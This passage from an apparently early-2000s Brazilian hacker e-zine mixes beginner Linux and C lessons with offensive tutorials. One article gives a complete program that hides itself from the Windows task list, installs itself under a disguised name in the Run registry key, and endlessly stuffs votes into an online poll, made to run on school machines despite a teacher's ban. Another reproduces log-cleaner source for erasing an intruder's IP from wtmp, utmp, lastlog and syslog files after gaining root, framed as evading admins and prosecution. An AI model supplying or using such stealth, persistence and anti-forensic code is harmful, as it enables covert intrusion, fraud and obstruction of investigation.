RSP_UNREGISTER_SERVICE	Unregisters the process as a service process.
Return Value

The return value is 1 if successful or 0 if an error occurs.
[/quote]


A funcao RegisterServiceProcess se encontra no kernel32.dll,
precisamos carregar o kernel32.dll e usar o RegisterServiceProcess. 

Peguei na net uma funcao prontinha que faz todo o trabalho :)

void hide(){
  HMODULE hmod;
  int *(*pReg)(); /* esse eh o pointer em que sera armazenado o endereco da funcao */

 /* carrega-se o kernel32.dll */
  hmod = LoadLibrary("kernel32.dll"); 
  if (!hmod) return;

 /* procura-se pelo RegisterServiceProcess dentro do kernel32.dll */
  pReg = GetProcAddress(hmod,"RegisterServiceProcess");
  if (!pReg) { /* se nao encontrar, retorna */
     FreeLibrary(hmod); 
     return;
  }
  else /* faz com que o processo atual se torne um service :) */
    pReg(NULL, RSP_SIMPLE_SERVICE);
 
  FreeLibrary(hmod);
  return;
}



3. Como fazer o programa ser executado a cada inicializacao ?

Um jeito simples de fazer isso eh colocar um atalho para o programa no
menu iniciar->programas->iniciar.
Mas se voce nao quer usar o menu iniciar, voce pode colocar no registro
do windows :)

Abra o regedit, abra a chave HKEY_LOCAL_MACHINE, va em Software,
Microsoft, Windows, CurrentVersion, Run.
Adicione nessa chave um valor do tipo string; com qualquer nome, e com
o valor como o endereco do arquivo a ser executado.
dependendo da versao do seu wdinws vc pode encontrar um SystemTray,
ai , como exemplo :)



3.1 WINAPI: Usando o registro do windows

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Run sera
a chave a ser usada no nosso exemplo.
usaremos as funcoes RegOpenKeyEx(), RegSetValueEx(), RegFlushKey()
e RegCloseKey() da WINAPI.


[quote]
The RegOpenKeyEx function opens the specified key. 

LONG RegOpenKeyEx(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions,
                                         REGSAM samDesired,  PHKEY phkResult  );
Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values: 

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpSubKey

Points to a null-terminated string containing the name of the subkey to open.
If this parameter is NULL or a pointer to an empty string, the function will open
a new handle of the key identified by the hKey parameter. In this case,
the function will not close the handles previously opened. 

ulOptions

Reserved; must be zero. 

samDesired

Specifies an access mask that describes the desired security access for the new key.
This parameter can be a combination of the following values: 

Value	Meaning
KEY_ALL_ACCESS   Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, 
                                              KEY_NOTIFY, KEY_CREATE_SUB_KEY, KEY_CREATE_LINK,
                                              and KEY_SET_VALUE access.
KEY_CREATE_LINK	Permission to create a symbolic link.
KEY_CREATE_SUB_KEY	Permission to create subkeys.
KEY_ENUMERATE_SUB_KEYS	Permission to enumerate subkeys.
KEY_EXECUTE	Permission for read access.
KEY_NOTIFY	Permission for change notification.
KEY_QUERY_VALUE	Permission to query subkey data.
KEY_READ      Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS,
                                                            and KEY_NOTIFY access.
KEY_SET_VALUE	Permission to set subkey data.
KEY_WRITE	Combination of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.
phkResult

Points to a variable that receives the handle of the opened key. 
[/quote]


[quote]
The RegSetValueEx function stores data in the value field of an open registry key.
It can also set additional value and type information for the specified key. 

LONG RegSetValueEx( HKEY hKey,	 LPCTSTR lpValueName, DWORD Reserved,	
                                         DWORD dwType, CONST BYTE *lpData, DWORD cbData );

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values: 

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpValueName

Points to a string containing the name of the value to set.
If a value with this name is not already present in the key, the function adds it to the key. 

Reserved

Reserved; must be zero. 

dwType

Specifies the type of information to be stored as the value's data.
This parameter can be one of the following values: 

Value	Meaning
REG_BINARY	Binary data in any form.
REG_DWORD	A 32-bit number.
(....)
REG_RESOURCE_LIST	A device-driver resource list.
REG_SZ:
A null-terminated string. It will be a Unicode or ANSI string depending on whether
you use the Unicode or ANSI functions.

lpData

Points to a buffer containing the data to be stored with the specified value name. 

cbData

Specifies the size, in bytes, of the information pointed to by the lpData parameter.
If the data is of type REG_SZ, REG_EXPAND_SZ, or REG_MULTI_SZ,
cbData must include the size of the terminating null character.
[/quote]


bom, vamos ver cada argumento dessas funcoes.


LONG RegOpenKeyEx(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions,
                                         REGSAM samDesired,  PHKEY phkResult  );

o argumento HKEY hKey vai ser o nome da chave principal do registro, no nosso caso
sera HKEY_LOCAL_MACHINE.

LPCTSTR lpSubKey eh a string da subchave, aqui sera
"SOFTWARE\\Microsoft\\Windows\\Run".

DWORD ulOptions eh reservado e eh 0.

REGSAM samDesired sera o tipo de acesso a chave.
aqui nos usaremos KEY_ALL_ACCESS.

PHKEY phkResult, aqui vai o endereco da variavel que armazenara as informacoes da
chave aberta.




LONG RegSetValueEx( HKEY hKey,	 LPCTSTR lpValueName, DWORD Reserved,	
                                         DWORD dwType, CONST BYTE *lpData, DWORD cbData );

HKEY hKey sera a variavel que usamos no RegOpenKeyEx na qual foi armazenada
as informacoes sobre a chave aberta.

LPCTSTR lpValueName eh a string do nome do valor a ser adicionado no registro.

DWORD Reserved, reservado, 0.

DWORD dwType especifica o tipo de valor a ser adicionado no registro,
no nosso caso sera uma string. REG_SZ.

CONST BYTE *lpData sera a string do valor a ser adicionado no registro.

DWORD cbData eh o tamanho da string(contando com o \0 final)



a funcao RegFlushKey(HKEY hKey) atualiza a chave no registro.
a funcao RegCloseKey(HKEY hKey) fecha a chave.


agora vamos ver um pequeno programa que adiciona um valor no registro.

#include <windows.h>
#include <winreg.h>

int API WinMain(HINSTANCE hInst, HINSTANCE hPrevInst,
                                LPSTR lpszCmdLine, int nCmdShow)
{
  PHKEY pa;

 /* aqui abrimos a chave */
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                              "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0,
                               KEY_ALL_ACCESS, &pa);

/* adicionamos o valor */
  RegSetValueEx(pa ,"testando", 0,  REG_SZ, "teste", 6 );

/* atualizamos e fechamos a chave */
  RegFlushKey(pa);
  RegCloseKey(pa);

  return 0;
}

compile o programinha, abra o regedit e verifique se algo mudou :)



4. Utilizacao pratica.

Mostrarei uma pequena aplicacao utilizando o que aprendemos neste texto.
Ha algum tempo, uns colegas me pediram para fazer um programa que votasse automaticamente
no Bush no site maladomes... hehehehe. Depois de pronto o programa, meus amigos reclamaram
que a professora de informatica nao deixava rodar o programa nos computadores do colegio...
E agora estou escrevendo esse texto contando o que eu aprendi nessa historia :)

E agora usaremos o programinha de votacao como exemplo.


<corte>
/*
 * Programa simples para votacao no site maladomes.com.br
 * Feito por hts.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <winreg.h>

#define SA struct sockaddr
#define SI struct sockaddr_in
/* ip do site maladomes */
#define IP "200.225.179.243"
/* header de um pedido http*/
#define HOST "Accept: image/gif, image/x-xbitmap,image/jpeg, \
image/pjpeg, application/vnd.ms-excelapplication/msword,*/*\r\nReferer: \
http://www.maladomes.com.br/ranking.phtml\r\nAccept-Language: \
pt-br\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 \
(compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\r\nHost: \
www.maladomes.com.br\r\nConnection: Keep-Alive\r\n\r\n"

#define bzero(a, b) memset(a, 0, b)

char *http(char *, char *);
int Socket(int, int, int);
char *Malloc(unsigned int);
void hide();
void doit();

/* Essa funcao se conecta e pega a pagina */
char *httpget(char *ip, char *target){
  int sock, count;
  SI server;
  char c, *ret, *ptr;
  FILE *sv;
  WORD wVersion;
  WSADATA wStart;

  bzero((void *)&server, sizeof(SI));
  server.sin_family = AF_INET;
  server.sin_port = htons(80);
  server.sin_addr.s_addr = inet_addr(IP);
  wVersion = MAKEWORD(2, 0);
  if(WSAStartup(wVersion,&wStart) != 0) {
   exit(-1);
  }

  sock = Socket(AF_INET, SOCK_STREAM, 0);

  if((connect(sock, (SA *)&server, sizeof(SA)))<0){
	sleep(2*30*1000);
	return NULL;
  }

  send(sock, "GET ", 4, 0);
  send(sock, target, strlen(target), 0);
  send(sock, " HTTP/1.0\r\n", 10, 0);
  send(sock, HOST, strlen(HOST), 0);

  sv = fopen("./tmp", "w");
  while(recv(sock, &c, 1, 0))
    fputc(c, sv);
  fclose(sv);
  closesocket(sock);
  WSACleanup();

  sv = fopen("./tmp", "r");
  for(count = 0;!feof(sv);count++, fgetc(sv));
  rewind(sv);
  ptr = ret = Malloc(count);
  while(--count)
    *ptr++=fgetc(sv);
  fclose(sv);

  return ret;
}

int Socket(int family, int  type, int s){
  int ret;

  ret = socket(family, type, s);
  if( ret < 0 ){
    exit(-1);
  }
  return ret;
}

char *Malloc(unsigned int size){
  char *ret;

  ret = malloc(size);
  if( !ret ){
    fprintf(stderr, "out of memory\n");
    exit(-1);
  }
  bzero(ret, size);

  return ret;
}

/* nossa funcao que esconde o programa do ctlaltdel*/
void hide()
{
  HMODULE hmod;
  int *(*pReg)();

  hmod = LoadLibrary("kernel32.dll");
  if (!hmod) return;

  pReg = GetProcAddress(hmod,"RegisterServiceProcess");
  if (!pReg) {
     FreeLibrary(hmod);
     return ;
  }
  else
    pReg(NULL, RSP_SIMPLE_SERVICE);
  FreeLibrary(hmod);

  return ;
}

/* essa funcao faz o trabalho principal */
void doit(){
  char *ptr, votos = 0;

  while(1){
    ptr = httpget(IP, "/voto.phtml?nome=GEORGE_W._BUSH&categoria=8");
	if(ptr){
      if(strstr(ptr, "espere.phtml")){
      sleep(5*15*1000);
/*
 * a cada 2 minutos e meio ela tenta votar, se o tempo minimo do site nao tiver passado
 * espera mais 2 minutos e meio.
*/
      }
      free(ptr);
    }
  }
  return;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
  PHKEY pa;

  hide(); /* esconde o programa do ctrlaltdel*/

  RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0,
  KEY_ALL_ACCESS, &pa);
  RegSetValueEx(pa ,"secreto", 0, REG_SZ, "C:\\escondido.exe", 17 );
  RegFlushKey(pa);
  RegCloseKey(pa);
  /* grava o programa no registro para rodar o programa toda inicializacao */

  CopyFile("./mala.exe", "C:\\escondido.exe", TRUE);
  /* copia o executavel do programa */

  doit(); /* loop principal */
  return 0;
}
<corte>



5. Finalizacao.

Termino aqui este pequeno texto.
Envie qualquer erro, sugestao ou critica para a MailList da Unsekurity Scene.


Referencias:
Site do Unsekurity - http://unsekurity.virtualave.net
Site do LCC - http://www.cs.virginia.edu/~lcc-win32 (contem o 
WINAPI Help p/ download)
Site da Microsoft - http://www.microsoft.com
http://mind.obsc.urity.org/
http://paginado.ht.st

[]'s,
hts.

                                                   hts
                                                   plex15@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x05]
==[ Cursinho de Linux 11 ]==
==[ por Gotoxy           ]==


   Set0res:
 
    1....... Introducao
   2....... Wu-Ftp
  3....... Console
 4....... Mensagens do login
5....... Fim 




################
1 - Introducao #
################

Este esta completando o decimo primeiro curso de Linux. 
Neste aki voce vai aprender mais coisas basicas sobre este SO,
espero que te agrade.. se voce ja sabe o basico de Linux, nao
eh necessario a leitura desta edicao, pois ela esta bastante
simpleszinha! A informacao contida aki vai para os novatos...
Nao deixe de mandar alguma materia sobre Linux! Mande o que
voce kiser sobre, tais como: dicas, configurando alguma
coisa, etc. 
Leia, Pratique e Aprenda!

OBS: TODAS AS DICAS DESCRITAS AQUI FORAM FEITAS NUM SLACKWARE
7.1 [KERNEL v2.2.16]

    

############
2 - Wu-Ftp #
############

Nao vou dizer o que eh FTP, pois acho que todos voces ja
sabem o que eh (eh akele mesmo programa que vem junto com
o MS-DOS/Windows). Wu-ftp eh um servidor de ftp padrao em
varias distribuicoes linux.
Aki eu vou estar falando uma coisa bem boba, mas que
talvez seja util para alguem.
Se voce entrar no diretorio /home/ftp, voce vai ver que
existe um arkivo chamado welcome.msg, este arkivo nao eh 
nada mais nada menos do que uma mensagem de entrada para 
usuarios que entrarem no seu sistema por ftp atraves de 
uma conta anonima (como por ex. login ftp e senha ftp).
Voce pode modificar este arkivo, bastando apenas edita-lo
como root! Olhe abaixo um exemplo:

~# cd /home/ftp
~# cat > welcome.msg

********************
WELCOME TO MY SYSTEM
********************

[control+d]

~#

  Entrando por FTP no sistema:

~# ftp localhost
Connected to localhost.
220 zinesbr.hpg.com.br FTP server (Version wu-2.6.1(1) Tue Jun 27 05:52:28
PDT 2000) ready.
Name (localhost:root): ftp 
331 Guest login ok, send your complete e-mail address as password.
Password:
230-The response 'ftp' is not valid
230-Next time please use your e-mail address as your password
230-        for example: gotoxy@localhost
230-
230-********************
230-WELCOME TO MY SYSTEM
230-********************
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Apesar de ser uma bobeira isso, vale a pena ser ensinado.

#############
3 - Console #
#############

Vou ensinar como voce pode aumentar o numero de tty's !! 
Para isso, voce vai precisar editar 2 arquivos, sao eles:
/etc/securetty e /etc/inittab.
Voce pode deixar ate 11 ttys, a decima segundo (12) eh 
para o X. 

Bem.. comece entao editando o /etc/securetty.. procure por:

# These are the ttys on the physical console:
console
tty1
tty2
tty3
tty4
tty5
tty6

Bem.. no caso aih tem apenas 6 ttys.. se vc kiser acrescentar
mais, basta colocar as seguintes linhas abaixo:

tty7
tty8
tty9
tty10
tty11

Dps disso saia salvando!!
Agora basta editar o arkivo /etc/inittab e localizar a linha:

# for 'getty_ps' you use line, linespeed and also use 'gettydefs'
c1:1235:respawn:/sbin/agetty 38400 tty1 linux
c2:1235:respawn:/sbin/agetty 38400 tty2 linux
c3:1235:respawn:/sbin/agetty 38400 tty3 linux
c4:1235:respawn:/sbin/agetty 38400 tty4 linux
c5:1235:respawn:/sbin/agetty 38400 tty5 linux
c6:12345:respawn:/sbin/agetty 38400 tty6 linux

Agora para acrescentar mais, digite:

c7:12345:respawn:/sbin/agetty 38400 tty7 linux
c8:12345:respawn:/sbin/agetty 38400 tty8 linux
c9:12345:respawn:/sbin/agetty 38400 tty9 linux
c10:12345:respawn:/sbin/agetty 38400 tty10 linux
c11:12345:respawn:/sbin/agetty 38400 tty11 linux

Pronto.. saia e salve!!
Agora reinicie a maquina para as mudancas se efetuarem com exito!

Ps: ao invez de vc adicionar, voce tb pode remover ttys!

#####################
4. Mensagens do login
#####################

Se vc kiser, pode estar mudando as mensagens de login.. abaixo, vc
ve os arkivos de configuracao dessas mensagens!! Cada um eh de um
jeito, veja abaixo a descricao de cada arquivo:

/etc/issue      Mensagem que aparece antes do login (localmente)
/etc/issue.net  Mensagem que aparece antes do login (remotamente)
/etc/motd       Mensagem que aparece apos se logar na maquina (como root
                ou como user normal)

Se voce modificar o /etc/issue e o /etc/motd, apos a reinicializacao
do sistema, os arquivos vao voltar ao normal!! Isso devido ao 
script de inicializacao do sistema /etc/rc.d/rc.S... para contornar
este "problema", basta editar o /etc/rc.d/rc.S e comentar as linhas
referentes a isso..

assim: 

bash~# cat /etc/rc.d/rc.S | grep issue
# Setup the /etc/issue and /etc/motd to reflect the current kernel level:
....

basta comentar as seguintes linhas:
echo > /etc/issue
echo Welcome to Linux `/bin/uname -a | /bin/cut -d\  -f3`. >> /etc/issue
echo >> /etc/issue
echo "`/bin/uname -a | /bin/cut -d\  -f1,3`." > /etc/motd

ps: para isso, coloque um # (sustenido) antes das linhas e dps saia
    salvando!! 



#########
5 - Fim #
#########

Isso ae pessoal... chegamos ao fim de mais um cursinho de linux.....
edicao que vem tem mais!!! espero que esse aki tenha ajudado alguem,
enfim, o cursinho de linux eh destinado aos novatos de linux!!
devido a falta de tempo, deixei de escrever umas coisas que seriam
muito interessantes! mas, deixe-mos para a proxima!:)

Se kiser mandar alguma contribuicao para o cursinho de linux, nao
deixe de envia-la para gotoxy@linuxbr.com.br! Assim que sair o
proximo cursinho de linux, seu nome estara aki, e seu texto tb,
eh claro! :P

###< links sobre linux >###

www.linux.org                   www.slackware.com
www.linuxall.org                www.comlinux.com.br
www.kernel.org                  linux-br.conectiva.com.br
www.linuxforkids.com            www.ano2001.com
www.linuxfacil.hpg.com.br       
www.olinux.com.br


Eh isso! EOF!!
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x06]
==[ Basico de C IV ]==
==[ por Gotoxy     ]==

  Vou falar mais algumas coisas interresantes relacionadas a programacao
em C. O que for vindo na minha kbca eu vou falando.. ok?
   

Gerando sons pelo alto-falante 
##############################

Ps: Compilador utilizado: Turbo C. Caso vc programe em Linux, de
nada adiantara a leitura deste txt, porque o compilador do linux
(gcc) nao possui a biblioteca dos.h.

   Dentro do gabinete, tem um alto-falante...(ohh) Vou estar aki ensinando
como podemos gerar sons no alto-falante usando a linguagem C. 
   Para construir um programa que gere sons, basta, atraves da manipulacao
de 2 bits do alto-falante, localizado na porta de I/O (Input/Output), fornecer
o acesso aos circuitos de controle do alto-falante. Com isso, o programa
vai controlar a sincronizacao dos pulsos e a frequencia do som resultante.
   Em C, a biblioteca responsavel pela manipulacao do alto-falante(entre 
outras coisas), eh a dos.h. Com essa biblioteca incluida no seu programa, basta
agora utilizar 3 funcoes q serao uteis para trabalhar com o alto-falante,sao 
elas:
sound() -> ativa o alto-falante com a frequencia especificada
nosound() -> desativa o alto-falante
delay() -> faz uma pausa de tempo em milisegundos

   Declaracoes:

 * void sound(unsigned frequencia);
 * void nosound(void);
 * void delay(unsigned milisegundos);

Ex:

#include <dos.h>

void main()
{
sound(666); /* numero do diabo! :P */ 
delay(1000);
nosound();
}


Estruturas
##########

   Estruturas eh uma especie de variavel que o programador cria, que
agrupa diversos tipos de dados em si, isto eh, atraves das estruturas nos
podemos trabalhar com tipos diferentes de variaveis (char, int, etc). Sendo 
assim, voce trabalha com varios tipos de variaveis agrupadas.


Uma estrutura tem QUASE a mesma intencao de matriz de caracteres, strings.
Veja, em uma Matriz/string eh agrupado um monte de caracteres e referenciados
por um nome.  Em estruturas eh quase a mesma coisa, eh um agrupado de tipos
de dados, referenciados por um nome, o nome da estrutura.


   Elas com certeza facilita a vida do programador! Imagine a seguinte
situacao: voce precisa criar uma programa que obtenha os dados (nick,
idade e o uin) de uma pessoa qlq.. Como podemos fazer isso utilizando
estruturas? Simples...

Ps: a palavra-reservada struct informa ao compilador q estamos declarando
uma estrutura


Veja:     .- nome da estrutura
          |
struct somebody {
	char nick[25];   ] 
	int idade, uin;  ] -- elementos
}; 

int main(){
struct somebody dados;
...



// ou simplesmente



struct somebody {
	char nick[25];
	int idade, uin;
} dados;


int main(){
...
   
Ps: Ambos os dois jeitos, declaramos uma estrutura chamada somebody,
e declaramos a variavel 'dados' desse tipo.

onde:
* somebody -> eh o nome da estrutura
* dados -> eh o nome de uma variavel do tipo da estrutura.

   Ambos os metodos para declarar estrutura dao certo..  mas usar o 
segundo eh bem melhor.. Repare tb que as estruturas sao delimitas por { } 
(chaves).. soh que tem uma diferenca.. a chave } (q indica o fim da 
estrutura) termina com um ; (ponto e virgula)... temos o ; pq a definicao de 
estrutura eh um comando.

   Com a estrutura declarada, basta agora saber como fazer para acessa-la!
Vamos pegar o exemplo acima para vc aprender como acessar os elementros
de uma estrutura:

-------- exemplo --------

struct somebody {
	char nick[25];
	int idade, uin;
} dados;

int main(){
	printf("Digite seu nick: ");	scanf("%s",&dados.nick);
	printf("Digite sua idade: ");	scanf("%d",&dados.idade);
	printf("Digite seu uin: ");	scanf("%d",&dados.uin);

	printf("\nDados obtidos: \n\n");

        printf("Nome: %s\n",dados.nick);
	printf("Idade: %d\n", dados.idade);
	printf("UIN: %d\n", dados.uin);
}
-------- exemplo --------

   Como voce pode ver, utilizamos um '.' (ponto) para termos acesso a um
elemento da estrutura.  Sintaxe:  nome_da_strutura_.nome_do_elemento
   Utilizar a notacao nome_estrutura.elemento eh a mesma coisa que
se utilizassemos qualquer outro tipo de dado, ou seja, podemos manipular
o endereco do mesmo jeito que fariamos com uma variavel normal.


  Abaixo segue 2 exemplos iguais, a unica diferenca eh que um utiliza 
matrizes e o outro utiliza estruturas!


 // usando vetores

 int main (void)
 {
  int x;
  char pessoas_nome[5][30];
  char pessoas_endereco[5][50];
  char pessoas_telefone[5][50];

    
  for (x=0; x<5; x++)  {
   printf("\nEntre o nome da %da pessoa: ",x);   gets(pessoas_nome[x]);
   printf("Entre o endereco da %da pessoa: ",x);  gets(pessoas_endereco[x]);
   printf("Entre o telefone da %da pessoa: ",x);  gets(pessoas_telefone[x]);
   printf("\n\n");
  }

  printf("\n\nDados Obtidos: \n\n");

  for (x=0; x<5; x++)  {
   printf("Pessoa %d  --  Nome: %s\n",x,pessoas_nome[x]);
   printf("           --  Endereco: %s\n",pessoas_endereco[x]);
   printf("           --  Telefone: %s\n\n",pessoas_telefone[x]);
  }

  return(0);
 }





 // usando estrutura


 struct pessoas {
  char  nome[30];
  char  endereco[50];
  char  telefone[50];
 };


 int main (void)
 {
  struct pessoas dados[5];  
  int x;

  for (x=0; x<5; x++)
  {
   printf("\nEntre o nome da %da pessoa: ",x);  gets(dados[x].nome);
   printf("Entre o endereco da %da pessoa: ",x);  gets(dados[x].endereco);
   printf("Entre o telefone da %da pessoa: ",x);  gets(dados[x].telefone);
   printf("\n\n");
  }

  printf("\n\nDados Obtidos: \n\n");
  for (x=0; x<5; x++)
  {
   printf("Pessoa %d  --  Nome: %s\n",dados[x].nome);
   printf("           --  Endereco: %s\n",dados[x].endereco);
   printf("           --  Telefone: %s\n\n",dados[x].telefone);
  }


  return(0);
 }




   Bem.. o basico sobre estrutras termina por aki! Proxima edicao vou
aprofundar mais neste assunto (vou falar de estruturas envolvendo
ponteiros, etc..).
 
Aguardem!!

Ps: Valeu pela ajuda OCZ!!



Malloc e Free
#############

   Acho que muitos tem dificuldade em entender essas funcoes... Ambas
sao simples.Vou tentar explica-las aki de uma forma bem clara.. espero
que entendam!

   Alocacao dinamica consiste em uma maneira de se obter espaco para
o armazenamento em tempo de execucao de um programa. Com isso, a
memoria utilizada para o armazenamento eh a heap (que eh a memoria livre
do pc). Ps: variaveis locais sao armazenadas no stack(pilha).
   Entao quando voce aloca, voce esta simplesmente retirando um "pedaco"
da memoria do heap, para armazenar, em tempo real, alguma coisa!

   Para trabalharmos com essa alocacao, devemos conhecer 2 funcoes
importantes, sao elas: malloc() e free();
       
malloc() -> funcao responsavel por alocar memoria dinamica

Prototipo: 
void *malloc(size_t size);

free() -> funcao responsavel por liberar a memoria alocada

Prototipo:  
void free(void *ptr);

vou dando exemplos para assim
facilitar a vida de vcs... o operador sizeof todos conhecem?
espero que sim, pq devem conhece-lo!! para quem eskeceu,
esse operador serve para determinar o tamanho (em bytes) de uma
variavel, tipo ou constante. 

int *i;
i = malloc(8);

isso vai reservar um espaco no heap suficiente para 8 bytes.
vc pode utilizar qlq tipo, pode ser int, ou char, struct,
etc.

char *i;
i = malloc(sizeof(char));

float *i;
i = malloc(sizeof(float));

int *i;
i = malloc(sizeof(int));

...


*/ see */

main(){
char nome1[10];
printf("Nome 1: ");
scanf("%s", nome1);
printf("Nome 1: %s\n", nome1);
}

$ ./um
Nome 1: gotu
Nome 1: gotu


// see o mesmo programa, soh que agora utilizando alocacao

main(){
char *nome2;
printf("Nome 2: ");
if (!nome2){  // verificamos se podemos alocar memoria...
printf("Erro ao alocar memoria!\n");
} else {
nome2 = (char *) malloc(10 * sizeof(char)); // alocamos 10 bytes
scanf("%s", nome2);
printf("Nome 2: %s\n\n", nome2);
free(nome2); // desalocamos a memoria alocada
}
}

$ ./dois
Nome 2: gotu
Nome 2: gotu

lembre-se que eh recomendavel desalocar(free) caso voce queira
alocar mais memoria!! pq se vc for alocando, alocando e alocando
e nunca desalocar, vc nao tera espaco para alocar mais...
acho que deu para vc entender +/-!! lembre-se: eu dou o ponta
pe inicial, e vc da a continuacao.... ou seja, corra atras para
aprender mais.. hacker eh isso, eh correr atras de conhecimento!!

t+!!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x07]
==[ Log's Cleaner ]==
==[ por Gotoxy    ]==

Apagando seus rastros 

Vou estar aki publicando uma maneira de limpar seus rastros nos arkivos
de registros(LOGS).Como todos sabem, basta apenas dar um telnet para um
servidor para que seu IP ja esteja registrado no sistema.Sendo assim, 
caso algumas horas depois o server seja invadido (nao por vc, por outra
pessoa), vc sera um dos suspeitos, pois seu IP vai estar la registrado.
O admin do servidor pode utilizar varias tecnicas para de pegar, ou seja,
para te rastrear! Uma delas eh recolhendo os dados logados no sistema, e
assim que ele pegar seu IP, ele vai logo entrar em contato com a
provedora q vc estava utilizando nakele momento. Se vc entrar num servidor
qlq pela "porta da frente", vc arrisca muito. Por isso eh baum vc recolher
umas informacoes antes!! Nao va pegar um exploit e executa de "cara" no
server!! Isso NUNCA se faz ! Caso o admin tenha instalado sistemas IDS, 
entre outros security tools, suas acoes estarao logados e assim o admin
tera todas as provas para te processar! :P 

Existem muitos programas com o objetivo de apagar suas entradas nos
arkivos de LOGS, para quem nao conhece o sistema de LOGS do Linux,
recomendo ler a edicao 06 do zinesbr, setor '03'.

Abaixo eu vou publicar um programa que tem como objetivo apagar seus
rastros nos seguintes arkivos de LOG:

- WTMP
- UTMP
- lastlog
- messages, 
- secure
- xferlog
- httpd.access_log
- httpd.error_log

Este programa eh muito eficiente. Basta apenas alguns digitos, para
seu IP ser removido da lista dos arkivos de LOGS (citados acima).
Lembre-se, para vc rodar ele, vc primeiro deve pegar root no sistema!
Como? hmm.. Isso ja eh outros quinhentos!!:P 

/*
 * logcleaner-0.3.c 
 */

/*########################################################################
*####  Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*####  xferlog, httpd.access_log, httpd.error_log.          ##############
*####  Check your log file and edit the source accordingly. ##############
 ####      Tested in Mandrake 7.2 and 8.0                   ##############
*#########################################################################
*#### This program is for educational purposes only         ############## 
*####     I'm not responsible any  damages of this program  ##############
*####            Use it with your own risk                  ##############
*#########################################################################
*####  I change the user based cleaning method              ##############  
*####    to host based method. Also zap2.c cleans           ##############
*####        last entry of wtmp file,i change               ##############
*####           this to clean all entries.                  ##############
*######################################################################### 
        
               Copyright (c) darkloop .  All rights reserved.  
        This software is licensed pursuant to the GNU General Public License 
        version 2 or later versions [or GNU Lesser General Public License],
	a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*####   Please inform me about your comments.               ##############
*####   I'm new to c programmin so feel free to flame :)    ##############
*####            dark_loop@linuxmail.org                    ##############  
*####            www.solitude2000.f2s.com                   ##############
*####              15.10.2001                               ##############
*#########################################################################
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME       "/var/log/wtmp"      
#define UTMP_NAME       "/var/run/utmp"     
#define LASTLOG_NAME    "/var/log/lastlog"
#define MESSAGES        "/var/log/messages"
#define SECURE          "/var/log/secure"
#define SYSLOG          "/var/log/syslog"
#define XFERLOG         "/var/log/xferlog"
#define AUTH            "/var/log/auth.log"
#define HTTPDA          "/var/log/httpd/access_log"
#define HTTPDE          "/var/log/httpd/error_log"         
#define MAX           1024*5120
#define MIN           1024              
void clean_logs(char *host,char *fake);		   
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
    time_t t1,t2;
    if (argc<2) {
           printf("missing argument\n");
	     printf("usage :./zap <ip>\n");
           exit(1);
    } else {
	     time(&t1);
             clean_utmp(argv[1],argv[2]);
             clean_wtmp(argv[1],argv[2]);
             clean_lastlog(argv[1],argv[2]);
	     clean_logs(argv[1],argv[2]);
	     time(&t2);
	     printf("the process time is %d ms\n",t2-t1);
    }
}

void clean_utmp(char *host,char *fake)
{
     int f;
     struct utmp utmp_ent;
     if ((f=open(UTMP_NAME,O_RDWR))<0) {
	     perror("open");
	     close(f);
        }
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
	       if(fake) {
		       memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
	       }else {
                 memset(&utmp_ent,0,sizeof( utmp_ent ));
		 }
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
     printf("\tcleaning utmp file finished\n\t");
  
}
 
void clean_wtmp(char *host,char *fake)
{
    struct utmp utmp_ent;
    int f;
        if ((f=open(WTMP_NAME,O_RDWR))<0) {
		perror("open");
		close(f);
         }      
     while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
          if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
		  if(fake) {
			  memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
		  }else {
               memset(&utmp_ent,0,sizeof(struct utmp ));
		  }
               lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
               write (f, &utmp_ent, sizeof( utmp_ent ));
            } 
        }
     close(f);
     printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{   
    int f;
    struct lastlog newll;
        if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
		perror("open");
